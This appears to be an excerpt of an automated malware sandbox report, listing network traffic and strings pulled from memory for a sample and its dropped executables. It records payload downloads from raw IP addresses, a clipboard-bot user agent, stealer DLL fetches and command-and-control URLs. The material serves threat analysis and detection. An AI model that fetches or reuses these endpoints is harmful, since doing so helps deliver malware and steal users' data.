Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /oi.exe HTTP/1.1Host: dev-marcepan.grupa-abs.pl
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /clip/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /line/ HTTP/1.1User-Agent: ClpBotHost: ip-api.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /6621357ed8034a07b39d149a6f3e52d8/ HTTP/1.1User-Agent: ClpBotHost: 147.45.47.61:8888Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /line/ HTTP/1.1User-Agent: ClpBotHost: ip-api.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /6621357ed8034a07b39d149a6f3e52d8/ HTTP/1.1User-Agent: ClpBotHost: 147.45.47.61:8888Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: dev-marcepan.grupa-abs.pl
Source: global traffic	DNS traffic detected: DNS query: ZByrsnSvAcGEaDRNGjI.ZByrsnSvAcGEaDRNGjI

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 912sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlKHLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.61/
Source: 591832b8e5.exe, 00000024.00000002.2463587234.000001E875A79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.61/m
Source: exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.61/uu
Source: exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.61:8888/662135
Source: exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.61:8888/6621357ed8034a07b39d14
Source: exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F0C000.00000004.00000020.00020000.00000000.sdmp, exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F60000.00000004.00000020.00020000.00000000.sdmp, exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.61:8888/6621357ed8034a07b39d149a6f3e52d8/
Source: 591832b8e5.exe, 00000024.00000002.2463587234.000001E875A83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.61:8888/6621357ed8034a07b39d149a6f3e52d8/2d8/
Source: 591832b8e5.exe, 00000024.00000002.2463587234.000001E875A79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.61:8888/6621357ed8034a07b39d149a6f3e52d8/573ef1
Source: 591832b8e5.exe, 00000024.00000002.2463587234.000001E875A83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.61:8888/6621357ed8034a07b39d149a6f3e52d8/A
Source: exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.61:8888/6621357ed8034a07b39d149a6f3e52d8/Jk
Source: exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.61:8888/6621357ed8034a07b39d149a6f3e52d8/jkd-
Source: 591832b8e5.exe, 00000024.00000002.2463587234.000001E8759FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.61:8888/6621357ed8034a07b39d149a6f3e52d8/l
Source: exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.61:8888/6621357ed8034a07b39d149a6f3e52d8/ll_$
Source: exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.61:8888/6621357ed8034a07b39d149a6f3e52d8/zkT-
Source: skotes.exe, 00000022.00000002.2541440931.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/clip/random.exe
Source: file.exe, 00000001.00000002.1729321166.0000000001505000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000001.00000002.1729321166.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe70e
Source: file.exe, 00000001.00000002.1729321166.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeI0
Source: file.exe, 00000001.00000002.1727423799.0000000000E55000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000002.1729321166.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000001.00000002.1729321166.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000001.00000002.1729321166.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/%
Source: file.exe, 00000001.00000002.1729321166.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000001.00000002.1729321166.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllZ)E
Source: file.exe, 00000001.00000002.1729321166.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000001.00000002.1729321166.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll2
Source: file.exe, 00000001.00000002.1729321166.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000001.00000002.1729321166.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000001.00000002.1729321166.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000001.00000002.1729321166.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllO1
Source: file.exe, 00000001.00000002.1729321166.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000001.00000002.1729321166.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dlll
Source: file.exe, 00000001.00000002.1729321166.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000001.00000002.1729321166.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllk5V
Source: file.exe, 00000001.00000002.1727423799.0000000000E55000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000002.1729321166.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1729321166.0000000001505000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1753904374.0000000023E4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000001.00000002.1729321166.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php)
Source: file.exe, 00000001.00000002.1753904374.0000000023E4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php=C
Source: file.exe, 00000001.00000002.1753904374.0000000023E4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpH
Source: file.exe, 00000001.00000002.1753904374.0000000023E4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpOr
Source: file.exe, 00000001.00000002.1753904374.0000000023E4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpT
Source: file.exe, 00000001.00000002.1727423799.0000000000E55000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: file.exe, 00000001.00000002.1753904374.0000000023E4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpl
Source: file.exe, 00000001.00000002.1753904374.0000000023E4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpow
Source: file.exe, 00000001.00000002.1753904374.0000000023E4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpx86)
Source: file.exe, 00000001.00000002.1727423799.0000000000E55000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206rontdesk
Source: file.exe, 00000001.00000002.1729321166.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206s
Source: skotes.exe, 00000022.00000002.2541440931.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000022.00000002.2541440931.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000002.2541440931.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000022.00000002.2541440931.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpJ
Source: skotes.exe, 00000022.00000002.2541440931.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpP
Source: skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/
Source: skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11//Zu7JuNko/index.php
Source: skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000022.00000002.2541440931.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 00000022.00000002.2541440931.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe%
Source: skotes.exe, 00000022.00000002.2541440931.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe.46
Source: skotes.exe, 00000022.00000002.2541440931.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe131
Source: skotes.exe, 00000022.00000002.2541440931.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe3b
Source: skotes.exe, 00000022.00000002.2541440931.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe50%
Source: skotes.exe, 00000022.00000002.2541440931.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe506238476
Source: skotes.exe, 00000022.00000002.2541440931.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe5062384760
Source: skotes.exe, 00000022.00000002.2541440931.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe7
Source: skotes.exe, 00000022.00000002.2541440931.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe;
Source: skotes.exe, 00000022.00000002.2541440931.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeO
Source: skotes.exe, 00000022.00000002.2541440931.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeS32
Source: skotes.exe, 00000022.00000002.2541440931.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeU
Source: skotes.exe, 00000022.00000002.2541440931.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeX
Source: skotes.exe, 00000022.00000002.2541440931.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeatch
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000003.2484474190.0000000000E03000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, oi[1].exe.34.dr, freebl3[1].dll.1.dr, oi.exe.34.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000003.2484474190.0000000000E03000.00000004.00000020.00020000.00000000.sdmp, oi[1].exe.34.dr, oi.exe.34.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000003.2484474190.0000000000E03000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, oi[1].exe.34.dr, freebl3[1].dll.1.dr, oi.exe.34.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000003.2484474190.0000000000E03000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, oi[1].exe.34.dr, freebl3[1].dll.1.dr, oi.exe.34.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: oi.exe, 0000002C.00000003.2501912377.0000000002846000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: oi.exe, 0000002C.00000003.2501912377.0000000002846000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: oi.exe, 0000002C.00000003.2501912377.0000000002846000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: oi.exe, 0000002C.00000003.2501912377.0000000002846000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000003.2484474190.0000000000E03000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, oi[1].exe.34.dr, freebl3[1].dll.1.dr, oi.exe.34.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000003.2484474190.0000000000E03000.00000004.00000020.00020000.00000000.sdmp, oi[1].exe.34.dr, oi.exe.34.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000003.2484474190.0000000000E03000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, oi[1].exe.34.dr, freebl3[1].dll.1.dr, oi.exe.34.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: oi.exe.34.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000003.2484474190.0000000000E03000.00000004.00000020.00020000.00000000.sdmp, oi[1].exe.34.dr, oi.exe.34.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F0C000.00000004.00000020.00020000.00000000.sdmp, exploma.exe.exe, 0000002B.00000000.2478294436.00007FF7A239D000.00000002.00000001.01000000.00000010.sdmp, exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F60000.00000004.00000020.00020000.00000000.sdmp, exploma.exe.exe, 0000002B.00000002.2538966832.00007FF7A239D000.00000002.00000001.01000000.00000010.sdmp, exploma.exe.exe.36.dr, 591832b8e5.exe.34.dr	String found in binary or memory: http://ip-api.com/line/
Source: 591832b8e5.exe, 00000024.00000002.2463587234.000001E8759FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/#d
Source: exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/5
Source: 591832b8e5.exe, 00000024.00000002.2463587234.000001E8759FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/Am
Source: 591832b8e5.exe, 00000024.00000000.2433506280.00007FF72B40D000.00000002.00000001.01000000.0000000F.sdmp, 591832b8e5.exe, 00000024.00000002.2474348449.000001E877730000.00000004.00000020.00020000.00000000.sdmp, 591832b8e5.exe, 00000024.00000002.2477775059.00007FF72B40D000.00000002.00000001.01000000.0000000F.sdmp, exploma.exe.exe, 0000002B.00000000.2478294436.00007FF7A239D000.00000002.00000001.01000000.00000010.sdmp, exploma.exe.exe, 0000002B.00000002.2538966832.00007FF7A239D000.00000002.00000001.01000000.00000010.sdmp, exploma.exe.exe.36.dr, 591832b8e5.exe.34.dr	String found in binary or memory: http://ip-api.com/line/RUBYUA73686B262827413CAFE9981D71660D60X0dCSAxtHQcGDxwDAR8HdG9wdAMBAAl8GAcABAF
Source: exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/d
Source: 591832b8e5.exe, 00000024.00000002.2463587234.000001E875A51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/d-
Source: exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/dll
Source: 591832b8e5.exe, 00000024.00000002.2463587234.000001E875A51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/j-
Source: exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/m%
Source: 591832b8e5.exe, 00000024.00000002.2463587234.000001E8759FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/um
Source: oi.exe, 0000002C.00000000.2486798896.0000000000408000.00000002.00000001.01000000.00000011.sdmp, oi.exe, 0000002C.00000002.2527905219.0000000000408000.00000002.00000001.01000000.00000011.sdmp, oi[1].exe.34.dr, oi.exe.34.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000003.2484474190.0000000000E03000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, oi[1].exe.34.dr, freebl3[1].dll.1.dr, oi.exe.34.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000003.2484474190.0000000000E03000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, oi[1].exe.34.dr, freebl3[1].dll.1.dr, oi.exe.34.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
